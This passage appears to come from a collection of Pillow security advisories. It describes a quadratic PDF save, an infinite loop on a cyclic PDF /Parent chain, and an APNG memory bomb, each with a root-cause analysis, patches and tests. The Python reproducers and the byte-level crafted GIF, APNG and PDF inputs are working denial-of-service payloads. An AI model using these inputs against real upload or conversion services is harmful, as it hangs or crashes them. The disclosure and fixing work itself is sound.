PDF *writer* side, reached only through a save rather than on open, and driven by frame count rather than by line structure. ## Reproducing `repro` is a single Python script. Run it with the Python that has Pillow installed (`./repro`). It uses under 100 MB of RAM and writes no files. **Input.** Two kinds of file are built in memory, each with 2 000 and 8 000 frames: - `gif(n)`: a valid animated GIF \u2014 a `GIF89a` header with a 1\u00d71 logical screen and a 2-colour global palette, then `n` copies of one 15-byte frame (a 1\u00d71 image descriptor plus the LZW data for one pixel), then the trailer (30 and 120 KB). The only unusual thing about it is how many frames it has. - `apng(n)`: a 125-byte APNG \u2014 a 1\u00d71 greyscale `IHDR`, an `acTL` chunk declaring `n` frames, one `fcTL`, one `IDAT` and `IEND`. Only the first frame exists; the other `n \u2212 1` are merely declared. **Action.** Each file goes through what an upload-to-PDF converter would do: `Image.open(BytesIO(data))`, then `im.save(BytesIO(), \"PDF\", save_all=True)`, timed with `time.process_time()`. For the APNG the save raises `OSError` once the writer tries to seek to the second frame; that happens after the id-reservation loop has run for all `n` declared frames, so the exception is caught and the CPU time up to it is recorded. **Expected output** (stock build at this commit): ``` GIF frames= 2000 file= 30020 B save CPU= 1.03s result=ok GIF frames= 8000 file=120020 B save CPU= 11.68s result=ok GIF: 4x frames -> 11.3x CPU (linear ~4x, quadratic ~16x) APNG frames= 2000 file= 125 B save CPU= 0.65s result=OSError(Truncated File Read) APNG frames= 8000 file= 125 B save CPU= 10.48s result=OSError(Truncated File Read) APNG: 4x frames -> 16.1x CPU (linear ~4x, quadratic ~16x) BUG ``` A linear save would take about 4\u00d7 as long for 4\u00d7 the frames; here the GIF save grows ~11\u00d7 and the APNG save ~16\u00d7, the latter with the file size fixed at 125 bytes. The script prints `BUG` when the save CPU for either format grows at least 8\u00d7 for 4\u00d7 the frames (twice the linear expectation), otherwise `OK`. Extending the same curve gives the figures in the table above: about 70 s at 16 000 frames (240 KB GIF), and about 10 minutes for a 720 KB file. With the attached patch applied, the GIF save takes 0.32 s / 1.20 s (3.7\u00d7) and the APNG save 0.01 s / 0.03 s, and the script prints `OK`. ## Suggested fix Make `next_object_id()` O(1) by tracking the highest object id ever stored in `XrefTable` instead of rebuilding the key set on every call. The attached patch does this in `src/PIL/PdfParser.py`: ```diff --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ class XrefTable: self.deleted_entries = {0: 65536} # object ID => generation self.reading_finished = False + self.max_object_id = 0 # highest object ID ever stored, deleted or not def __setitem__(self, key: int, value: tuple[int, int]) -> None: if self.reading_finished: self.new_entries[key] = value else: self.existing_entries[key] = value + if key > self.max_object_id: + self.max_object_id = key if key in self.deleted_entries: del self.deleted_entries[key] @@ class PdfParser: def next_object_id(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xref_table.max_object_id + 1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference ``` `existing_entries` is only ever populated through `__setitem__` (from `read_xref_table` / `read_prev_trailer`), so the counter also covers ids read from an existing file in `append=True` mode. The one behavioural difference: when the highest-numbered existing object has just been deleted (`del_root()` / `rewrite_pages()` in append mode), the current code hands that id out again with generation 0, whereas the patch moves on to the next unused id \u2014 the more conservative choice for an xref table, and the one the existing `TODO: support reuse of deleted objects` comment points at. With the patch applied and Pillow rebuilt, the 16 000-frame save drops from ~70 s to ~2.5 s, fresh PDF output is unchanged, `Tests/test_file_pdf.py` and `Tests/test_pdfparser.py` pass, and the reproducer prints `OK`. An alternative limited to the writer would be to reserve the `3 \u00d7 number_of_pages` ids in `PdfImagePlugin._save()` arithmetically from a single `next_object_id()` call, but fixing the allocator also covers `write_obj(None, \u2026)` callers. The patch does not address a separate, linear issue: `PdfImagePlugin._save()` still trusts `n_frames` before any frame is decoded, so a tiny file whose format reports a declared-only frame count (APNG `acTL` up to 2\u00b3\u00b9) still makes it loop `3 \u00d7 n_frames` times before the first failing seek. Reserving ids per successfully seeked frame, or validating `n_frames` in such plugins, would close that. ## The patch Track the highest object ID in XrefTable so PdfParser.next_object_id() is O(1) instead of rebuilding and scanning the key set Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..82ebfb867 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -133,12 +133,15 @@ class XrefTable: ) # object ID => (offset, generation) self.deleted_entries = {0: 65536} # object ID => generation self.reading_finished = False + self.max_object_id = 0 # highest object ID ever stored, deleted or not def __setitem__(self, key: int, value: tuple[int, int]) -> None: if self.reading_finished: self.new_entries[key] = value else: self.existing_entries[key] = value + if key > self.max_object_id: + self.max_object_id = key if key in self.deleted_entries: del self.deleted_entries[key] @@ -624,11 +627,8 @@ class PdfParser: self.orig_pages = self.pages[:] def next_object_id(self, offset: int | None = None) -> IndirectReference: - try: - # TODO: support reuse of deleted objects - reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) - except ValueError: - reference = IndirectReference(1, 0) + # TODO: support reuse of deleted objects + reference = IndirectReference(self.xref_table.max_object_id + 1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference ``` ## The reproducer
Reproducer \u2014 repro, 1,791 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # PDF save_all is O(frames^2): PdfParser.next_object_id() does max(XrefTable.keys()), # and keys() rebuilds sets of every id reserved so far, 3 calls per frame. # (a) valid 1x1 animated GIF, 15 bytes/frame; (b) 125-byte APNG whose acTL merely # *declares* N frames - ids are reserved for all N before the first seek fails. import io, struct, time, zlib from PIL import Image def gif(n): return (b\"GIF89a\\x01\\x00\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\" + b\"\\x2c\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x02\\x02\\x44\\x01\\x00\" * n + b\"\\x3b\") def apng(n): def chunk(t, d): return struct.pack(\">I\", len(d)) + t + d + struct.pack(\">I\", zlib.crc32(t + d)) return (b\"\\x89PNG\\r\\n\\x1a\\n\" + chunk(b\"IHDR\", struct.pack(\">IIBBBBB\", 1, 1, 8, 0, 0, 0, 0)) + chunk(b\"acTL\", struct.pack(\">II\", n, 0)) + chunk(b\"fcTL\", struct.pack(\">IIIIIHHBB\", 0, 1, 1, 0, 0, 1, 1, 0, 0)) + chunk(b\"IDAT\", zlib.compress(b\"\\x00\\x00\")) + chunk(b\"IEND\", b\"\")) def save_pdf(data): im = Image.open(io.BytesIO(data)) t = time.process_time() try: im.save(io.BytesIO(), \"PDF\", save_all=True) res = \"ok\" except OSError as e: # APNG: frames don't exist, fails *after* the id loop res = f\"OSError({e})\" return time.process_time() - t, res bug = False for name, make in ((\"GIF\", gif), (\"APNG\", apng)): t = {} for n in (2000, 8000): data = make(n) t[n], res = save_pdf(data) print(f\"{name:4} frames={n:5} file={len(data):6} B save CPU={t[n]:6.2f}s result={res}\") growth = t[8000] / t[2000] print(f\"{name}: 4x frames -> {growth:.1f}x CPU (linear ~4x, quadratic ~16x)\") if growth >= 8: bug = True print(\"BUG\" if bug else \"OK\") ```
---"}, {"id": "CVE-2026-112406", "fix_versions": ["13.0.0"], "aliases": ["GHSA-f2g6-542v-9j58"], "description": "``` ============================================================================ Infinite loop in PdfParser.rewrite_pages on page tree Parent cycle Location: src/PIL/PdfParser.py:505 in PdfParser.rewrite_pages() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls `im.save(fp, \"PDF\", append=True)` (or `save_all=True, append=True`) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it. The bug is in `PdfParser.rewrite_pages()` in `src/PIL/PdfParser.py` (the `while pages_tree_node_ref:` loop at line 505). For each original page, it walks the `/Parent` chain upward and stops only when it reaches a node with no `/Parent`. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a `/Pages` root that lists itself as its own `/Parent`; a longer cycle among page-tree nodes behaves the same way. The path is `PdfImagePlugin._save()` \u2192 `write_catalog()` \u2192 `rewrite_pages()`, and it is reached whether the save target is a file path or a `BytesIO`. Plain `Image.open()` pipelines are not affected, because Pillow only parses PDFs on the append path. This is a sibling of CVE-2026-42310 (the cyclic trailer `/Prev` loop in the same parser). The `processed_offsets` guard added to `read_prev_trailer()` for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0. The attached reproducer builds two in-memory PDFs and appends a 4\u00d74 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside `rewrite_pages()` when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error. ## Details `PdfParser.rewrite_pages()` walks the `/Parent` chain of every pre-existing page upward and stops only when a node has no `/Parent`. It keeps no record of visited nodes, so a page-tree node whose `/Parent` points at itself, or at any node below it, makes the walk spin forever. The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares `/Parent 2 0 R`: ``` %PDF-1.4 1 0 obj <> endobj 2 0 obj <> endobj 3 0 obj <> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000056 00000 n 0000000125 00000 n trailer <> startxref 192 %%EOF ``` `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened `r+b`). Interrupting it with `SIGALRM` after 5 s gives this traceback every time: ``` File \"src/PIL/PdfImagePlugin.py\", line 263, in _save existing_pdf.write_catalog() File \"src/PIL/PdfParser.py\", line 473, in write_catalog self.rewrite_pages() File \"src/PIL/PdfParser.py\", line 505, in rewrite_pages while pages_tree_node_ref: ``` The same file without `/Parent 2 0 R` on object 2 is appended to in ~30 ms. The loop: ```python # src/PIL/PdfParser.py:483-510 def rewrite_pages(self) -> None: pages_tree_nodes_to_delete = [] for i, page_ref in enumerate(self.orig_pages): page_info = self.cached_objects[page_ref] del self.xref_table[page_ref.object_id] pages_tree_nodes_to_delete.append(page_info[PdfName(b\"Parent\")]) \u2026 # delete redundant Pages tree nodes from xref table for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] pages_tree_node_ref = pages_tree_node.get(b\"Parent\", None) self.orig_pages = [] ``` How the input gets there: with `append=True`, `PdfImagePlugin._save()` opens the existing bytes with `PdfParser.PdfParser(f=fp, \u2026, mode=\"r+b\")` (`src/PIL/PdfImagePlugin.py:199`), whose constructor calls `read_pdf_info()`. That reads the catalog, reads the page-tree root through `read_indirect()` \u2014 which stores every object it reads in `self.cached_objects` (`src/PIL/PdfParser.py:1077`) \u2014 and flattens the tree with `linearize_page_tree()`, which `read_indirect()`s every `/Kids` entry. So after parsing, `orig_pages == [3 0 R]` and objects 2 and 3 are both in `cached_objects`. `_save()` then calls `existing_pdf.write_catalog()` \u2192 `rewrite_pages()`. For the file above, the first loop puts page 3's `/Parent`, `2 0 R`, into `pages_tree_nodes_to_delete`. The inner `while` looks object 2 up in `cached_objects`, removes it from the xref table on the first pass, and sets `pages_tree_node_ref` to object 2's `/Parent` \u2014 which is `2 0 R` again. Nothing in the loop body changes on subsequent iterations, so it never exits: `cached_objects[2 0 R]` is never evicted, and deleting an already-deleted id from `XrefTable` is silent \u2014 `__delitem__` only records the id in `deleted_entries`, while `__contains__` keeps answering from `existing_entries`. The loop performs no I/O and no allocation, so neither `MemoryError` nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through `linearize_page_tree()` and is therefore cached (e.g. root 2 \u2192 `/Kids [4 0 R]`, node 4 \u2192 `/Kids [3 0 R] /Parent 2 0 R`, and root 2 declaring `/Parent 4 0 R`); a `/Parent` pointing at an object that was never read raises `KeyError` instead, which is harmless. The parser already defends against exactly this shape of problem one level up: `read_prev_trailer()` (`src/PIL/PdfParser.py:699-722`) carries a `processed_offsets` list and raises `PdfFormatError(\"trailer loop found\")` when a `/Prev` offset repeats \u2014 the fix for CVE-2026-42310. The `/Parent` walk in `rewrite_pages()` has no equivalent guard. The unguarded walk was introduced in `24ecfe315ab5` (\"issue #2959: fix wrong Parent of pre-existing Page objects when appending\", 2018-03-03) and has been in every release since 5.1.0. ## Impact Any application that appends pages to a PDF it did not produce \u2014 `im.save(fp, \"PDF\", append=True)` or `save_all=True, append=True` on a user-supplied document \u2014 hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain `Image.open()` pipelines are not affected. This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer `/Prev` chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it. ## Reproducing `repro` is a single Python script that runs against the installed Pillow (`/src/src/PIL`). It needs no build step and no companion files, and takes about 5 seconds. The script builds two one-page PDFs in memory with `make_pdf()`. Each has a Catalog (object 1), a `/Pages` root (object 2) and a `/Page` (object 3), and each has a correct xref table. The only difference between them is in object 2: - `control` has `<>`. This is a normal file. - `cyclic` has `<>`, so the page-tree root names itself as its own `/Parent`. This is the 333-byte file shown above. For each PDF the script prints the bytes and then calls `Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True)` under a 5-second `SIGALRM` watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints `OK` without giving a verdict. Expected output on this commit (PDF dumps omitted): ``` [control] append finished in 0.045s [cyclic] still running after 5s, interrupted in: save() /src/src/PIL/Image.py:2724 save_handler(self, fp, filename) _save() /src/src/PIL/PdfImagePlugin.py:263 existing_pdf.write_catalog() write_catalog() /src/src/PIL/PdfParser.py:473 self.rewrite_pages() rewrite_pages() /src/src/PIL/PdfParser.py:506 pages_tree_node = self.cached_objects[pages_tree_node_ref] ... BUG ``` The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505\u2013509. The `rewrite_pages()` frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints `OK`. With attached patch 1 applied it prints `[cyclic] append finished in 0.001s` and `OK`. With attached patch 2 it prints `[cyclic] raised PdfFormatError: page tree loop found` and `OK`. The last line is `BUG` only when the cyclic append is still running when the watchdog fires. ## Suggested fix Both attached patches fix the root cause, which is that the `/Parent` walk in `rewrite_pages()` keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file. **Attached patch 1** (tolerant; our preference) adds one `processed_pages_tree_nodes` set that is shared across all pages in the delete loop, and breaks out of the `while` as soon as it reaches a node it has already seen: ```python # src/PIL/PdfParser.py, rewrite_pages() processed_pages_tree_nodes: set[IndirectReference] = set() for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: if pages_tree_node_ref in processed_pages_tree_nodes: break processed_pages_tree_nodes.add(pages_tree_node_ref) \u2026 ``` Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page. **Attached patch 2** (strict) follows the `read_prev_trailer()` guard from the CVE-2026-42310 fix. It keeps a `processed_pages_tree_nodes` list for each page and calls `check_format_condition(pages_tree_node_ref not in processed_pages_tree_nodes, \"page tree loop found\")`, so a cyclic file is rejected with `PdfFormatError`. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from `write_catalog()`. By then the new page objects have already been written to the `r+b` file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state. Each patch also adds a `test_page_tree_parent_loop` regression test to `Tests/test_pdfparser.py`. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other `/Parent` walk exists in the parser, and `linearize_page_tree()` does not follow `/Parent`. Note that this walk follows `/Parent` links, which nothing else in `PdfParser` reads: `linearize_page_tree()` only follows `/Kids` downward and never looks at `/Parent`, so a visited-set added to the `/Kids` recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped `/Kids` structure and still hangs; both walks need their own guard, and they are natural to land together as one \"validate page tree while appending\" change. ## Related findings - **Exponential page tree expansion in `PdfParser.linearize_page_tree()` (repeated `/Kids` references) hangs PDF append** \u2014 the downward counterpart of this bug in the same parser and on the same `Image.save(..., \"PDF\", append=True)` entry point: `linearize_page_tree()` (`src/PIL/PdfParser.py:1080-1094`) recurses into every `/Kids` entry and re-parses it via `read_indirect()` with no visited set, so a `/Pages` chain whose nodes list the same child N times over D levels costs ND object parses (a 1.9 KB, 10-wide \u00d7 12-level file never returns; a 5.8 KB, 300-wide \u00d7 3-level file runs for 13 minutes; a direct `/Kids` cycle ends in `RecursionError`). It differs from this report in the link followed (`/Kids` down vs `/Parent` up), the function and phase (`linearize_page_tree()` during `read_pdf_info()` in the `PdfParser` constructor vs `rewrite_pages()` during `write_catalog()`), the introducing commit (`6207b44ab1ff` vs `24ecfe315ab5`), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the `/Parent` walk and leave the `/Kids` reproducer hanging in `linearize_page_tree()`, and the `/Kids` guard conversely leaves this reproducer spinning in `rewrite_pages()` \u2014 verified by cross-applying each patch. Applied together (the `/Kids` guard plus attached patch 2), both reproducers are rejected with `PdfFormatError: page tree loop found` and `Tests/test_pdfparser.py` + `Tests/test_file_pdf.py` pass (30 tests). ## The patch (1 of 2) Track visited page-tree nodes in PdfParser.rewrite_pages() so a cyclic /Parent chain cannot loop forever when appending to a PDF Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py index f2ae6b11f..f841aca14 100644 --- a/Tests/test_pdfparser.py +++ b/Tests/test_pdfparser.py @@ -169,3 +169,28 @@ def test_duplicate_xref_entry() -> None: def test_trailer_loop() -> None: with pytest.raises(PdfFormatError, match=\"trailer loop found\"): PdfParser(\"Tests/images/trailer_loop.pdf\") + + +@pytest.mark.timeout(5) +def test_page_tree_parent_loop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b\"<>\", + b\"<>\", + b\"<>\", + ] + b = BytesIO(b\"%PDF-1.4\\n\") + offsets = [] + for object_id, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body)) + xref_offset = b.tell() + b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\") + b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets)) + b.write(b\"trailer\\n<>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset) + + with PdfParser(f=b, mode=\"r+b\") as pdf: + pdf.start_writing() + pdf.write_catalog() + pdf.write_xref_and_trailer() + assert 2 in pdf.xref_table.deleted_entries diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9260cd8e7 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -501,8 +501,14 @@ class PdfParser: # replace the page reference with the new one self.pages[j] = new_page_ref # delete redundant Pages tree nodes from xref table + processed_pages_tree_nodes: set[IndirectReference] = set() for pages_tree_node_ref in pages_tree_nodes_to_delete: while pages_tree_node_ref: + if pages_tree_node_ref in processed_pages_tree_nodes: + # ancestors are shared between pages, and a malformed + # /Parent chain may loop back on itself + break + processed_pages_tree_nodes.add(pages_tree_node_ref) pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] ``` ## The patch (2 of 2) Raise PdfFormatError(\"page tree loop found\") in PdfParser.rewrite_pages() when a page's /Parent chain loops back on itself Applies to `src/PIL/PdfParser.py` at the commit above. ```diff diff --git a/Tests/test_pdfparser.py b/Tests/test_pdfparser.py index f2ae6b11f..24faeefbc 100644 --- a/Tests/test_pdfparser.py +++ b/Tests/test_pdfparser.py @@ -169,3 +169,27 @@ def test_duplicate_xref_entry() -> None: def test_trailer_loop() -> None: with pytest.raises(PdfFormatError, match=\"trailer loop found\"): PdfParser(\"Tests/images/trailer_loop.pdf\") + + +@pytest.mark.timeout(5) +def test_page_tree_parent_loop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b\"<>\", + b\"<>\", + b\"<>\", + ] + b = BytesIO(b\"%PDF-1.4\\n\") + offsets = [] + for object_id, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b\"%d 0 obj\\n%s\\nendobj\\n\" % (object_id, body)) + xref_offset = b.tell() + b.write(b\"xref\\n0 4\\n0000000000 65535 f \\n\") + b.write(b\"\".join(b\"%010d 00000 n \\n\" % offset for offset in offsets)) + b.write(b\"trailer\\n<>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset) + + with PdfParser(f=b, mode=\"r+b\") as pdf: + pdf.start_writing() + with pytest.raises(PdfFormatError, match=\"page tree loop found\"): + pdf.write_catalog() diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9021b8d63 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -502,7 +502,13 @@ class PdfParser: self.pages[j] = new_page_ref # delete redundant Pages tree nodes from xref table for pages_tree_node_ref in pages_tree_nodes_to_delete: + processed_pages_tree_nodes = [] while pages_tree_node_ref: + check_format_condition( + pages_tree_node_ref not in processed_pages_tree_nodes, + \"page tree loop found\", + ) + processed_pages_tree_nodes.append(pages_tree_node_ref) pages_tree_node = self.cached_objects[pages_tree_node_ref] if pages_tree_node_ref.object_id in self.xref_table: del self.xref_table[pages_tree_node_ref.object_id] ``` ## The reproducer
Reproducer \u2014 repro, 3,152 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\"Infinite loop in PdfParser.rewrite_pages() on a cyclic /Parent chain. Appending an image to an existing PDF (im.save(fp, \"PDF\", append=True)) makes rewrite_pages() walk each original page's /Parent chain upward until a node has no /Parent. Nothing records which nodes were visited, so a /Pages node that names itself as its own /Parent keeps the walk going forever. We append a 4x4 image to two one-page PDFs that differ in one entry: control - a normal PDF -> finishes in milliseconds cyclic - the /Pages root also says /Parent 2 0 R -> never finishes A SIGALRM watchdog interrupts the append and shows the line it was stuck on. \"\"\" import io import signal import time import traceback from PIL import Image WATCHDOG_S = 5 def make_pdf(pages_root): \"\"\"Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table.\"\"\" objects = [ b\"<>\", pages_root, b\"<>\", ] pdf = bytearray(b\"%PDF-1.4\\n\") offsets = [] for num, body in enumerate(objects, start=1): offsets.append(len(pdf)) pdf += b\"%d 0 obj\\n%s\\nendobj\\n\" % (num, body) xref_offset = len(pdf) pdf += b\"xref\\n0 4\\n0000000000 65535 f \\n\" pdf += b\"\".join(b\"%010d 00000 n \\n\" % off for off in offsets) pdf += b\"trailer\\n<>\\nstartxref\\n%d\\n%%%%EOF\\n\" % xref_offset return bytes(pdf) class StillRunning(BaseException): pass def on_alarm(signum, frame): raise StillRunning def append_image(name, pdf): \"\"\"Append an image to `pdf`; return True if it finished before the watchdog.\"\"\" print(f\"--- {name}: {len(pdf)}-byte PDF ---\") print(pdf.decode(\"latin-1\"), end=\"\") signal.alarm(WATCHDOG_S) start = time.monotonic() try: Image.new(\"RGB\", (4, 4)).save(io.BytesIO(pdf), \"PDF\", append=True) except StillRunning as e: print(f\"[{name}] still running after {WATCHDOG_S}s, interrupted in:\") for frame in traceback.extract_tb(e.__traceback__): if \"/PIL/\" in frame.filename: print(f\" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}\") return False except Exception as e: # rejecting the file is a correct, safe outcome print(f\"[{name}] raised {type(e).__name__}: {e}\") return True finally: signal.alarm(0) print(f\"[{name}] append finished in {time.monotonic() - start:.3f}s\") return True signal.signal(signal.SIGALRM, on_alarm) # Set up: the well-formed file is appended to instantly. control = make_pdf(b\"<>\") if not append_image(\"control\", control): print(\"control case did not finish; environment problem, no verdict\") print(\"OK\") raise SystemExit # Attack: the same file, except the /Pages root is its own /Parent. cyclic = make_pdf(b\"<>\") finished = append_image(\"cyclic\", cyclic) # Verify: a fixed parser finishes (or rejects the file) like the control. print(\"BUG\" if not finished else \"OK\") ```
---"}, {"id": "CVE-2026-112399", "fix_versions": ["13.0.0"], "aliases": ["GHSA-5xm2-6676-qcp9"], "description": "``` ============================================================================ APNG background disposal allocates full canvas before decompression bomb check Location: src/PIL/PngImagePlugin.py:1000 in PngImageFile._seek() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A 126-byte animated PNG file makes Pillow's `Image.open()` allocate and fill memory sized by the image dimensions the file claims, before Pillow's built-in check for oversized images runs. A file claiming 22000\u00d722000 pixels costs about 1.9 GB. Anyone who can get an application to open an image they supply, with default settings and no further calls such as `load()`, can cause a multi-gigabyte memory spike per file. If the claimed size exceeds the machine's free memory, the operating system kills the process outright. The bug is in `PngImageFile._seek()` in `src/PIL/PngImagePlugin.py` (around line 1000). For any APNG, `_open()` calls `self._seek(0)`. When the first `fcTL` chunk requests `OP_BACKGROUND` disposal, `_seek()` calls `Image.core.fill(self.mode, self.size)` with the full IHDR size, which allocates and zero-fills width\u00d7height\u00d74 bytes. `OP_PREVIOUS` takes the same path, because frame 0 rewrites it to `OP_BACKGROUND`. This all happens inside the plugin factory, so `Image.open()`'s `_decompression_bomb_check(im.size)` only runs after the memory has been touched. A 1\u00d71 frame rectangle passes the only checks on the way. Below available memory, the allocation is freed when `DecompressionBombError` propagates, so sustained pressure needs repeated or concurrent uploads. A 45000\u00d745000 header gets the process killed by the out-of-memory killer on an 8 GB host. The attached reproducer opens two such files that differ in one byte (`dispose_op` 0 vs 1). Both end in `DecompressionBombError`, but peak resident memory is 17 MB for the first and 1864 MB for the second. The eager fill was introduced in 5e4e0fa6ee67 (\"Use disposal settings from previous frame\", December 2020) and first shipped in 8.1.0. Two candidate patches with a regression test are attached. ## Details For an APNG whose first `fcTL` chunk requests `OP_BACKGROUND` disposal, `PngImageFile._open()` creates and zero-fills a core image of the full IHDR-declared size. This happens inside the plugin factory, i.e. before `Image.open()` gets to `_decompression_bomb_check(im.size)`, so the check that is meant to reject oversized headers without allocating anything runs only after the allocation has been made and touched. The following 126-byte file (all chunk lengths and CRCs valid) makes `Image.open(io.BytesIO(data))`, with default `MAX_IMAGE_PIXELS` and no `load()`, reach 1.86 GB resident (`ru_maxrss`) and then raise `DecompressionBombError`. The byte-identical file with `dispose_op=0` raises the same error at 17 MB. ``` IHDR width=22000 height=22000 bit_depth=8 colour_type=6 (RGBA) acTL num_frames=2 num_plays=0 fcTL seq=0 w=1 h=1 x=0 y=0 delay=1/10 dispose_op=1 (OP_BACKGROUND) blend_op=0 IDAT zlib(00 00 00 00 00) # one 1x1 RGBA scanline IEND ``` With `width=height=45000` (8.1 GB canvas) the same call attempts the full allocation: under a 4 GiB `RLIMIT_AS` it fails with `MemoryError` from the allocator instead of `DecompressionBombError`; without a cap, on an 8 GB host with no swap, the process is OOM-killed. ### Code path `Image.open()` runs the bomb check only after the plugin's constructor (and therefore `_open()`) has returned: ```python # src/PIL/Image.py:3699-3701 im = factory(fp, filename) _decompression_bomb_check(im.size) return im ``` For a plain PNG that ordering is fine: `PngImageFile._open()` only parses chunks up to the first `IDAT` and records `self._size` from `IHDR`; nothing is allocated from it. For an APNG (`acTL` seen, so `im_n_frames` is set) `_open()` additionally positions on frame 0: ```python # src/PIL/PngImagePlugin.py:845-853 if self.png.im_n_frames is not None: \u2026 self._seek(0) ``` `_seek(0)` copies `disposal` and `bbox` from the `fcTL` chunk into `self.dispose_op` / `self.dispose_extent` and then prepares the disposal image for the *next* frame eagerly, using the full image size: ```python # src/PIL/PngImagePlugin.py:991-1001 if self._prev_im is None and self.dispose_op == Disposal.OP_PREVIOUS: self.dispose_op = Disposal.OP_BACKGROUND self.dispose = None if self.dispose_op == Disposal.OP_PREVIOUS: \u2026 elif self.dispose_op == Disposal.OP_BACKGROUND: self.dispose = Image.core.fill(self.mode, self.size) self.dispose = self._crop(self.dispose, self.dispose_extent) ``` `Image.core.fill` is `_fill()` in `src/_imaging.c:711`, which does `ImagingNewDirty(mode, xsize, ysize)` followed by `ImagingFill()`; `ImagingFill` (`src/libImaging/Fill.c:23`) writes every row, so the whole `width*height*4` bytes become resident rather than merely reserved. `self.size` here is the IHDR size (22000\u00d722000), not the 1\u00d71 frame rectangle. The `_crop` on the next line does call `_decompression_bomb_check`, but on the `fcTL` rectangle (1\u00d71) and only after the fill has completed. Lines 991-992 rewrite `OP_PREVIOUS` to `OP_BACKGROUND` on frame 0, so `dispose_op=2` takes the same path (verified: identical 1.86 GB peak). When the first `fcTL` rectangle is large, the `_crop` copy is a second extent-sized buffer on top of the full-canvas fill, so the transient peak can reach about twice the canvas: a 13000\u00d713000 full-frame `fcTL` (below the error threshold, so `Image.open()` succeeds with only a `DecompressionBombWarning`) peaks at 1.31 GB for a 0.66 GB canvas. The only validation `chunk_fcTL` applies (`src/PIL/PngImagePlugin.py:740-745`) is that the frame rectangle fits inside the IHDR size, which a 1\u00d71 frame always does; IHDR width/height themselves are 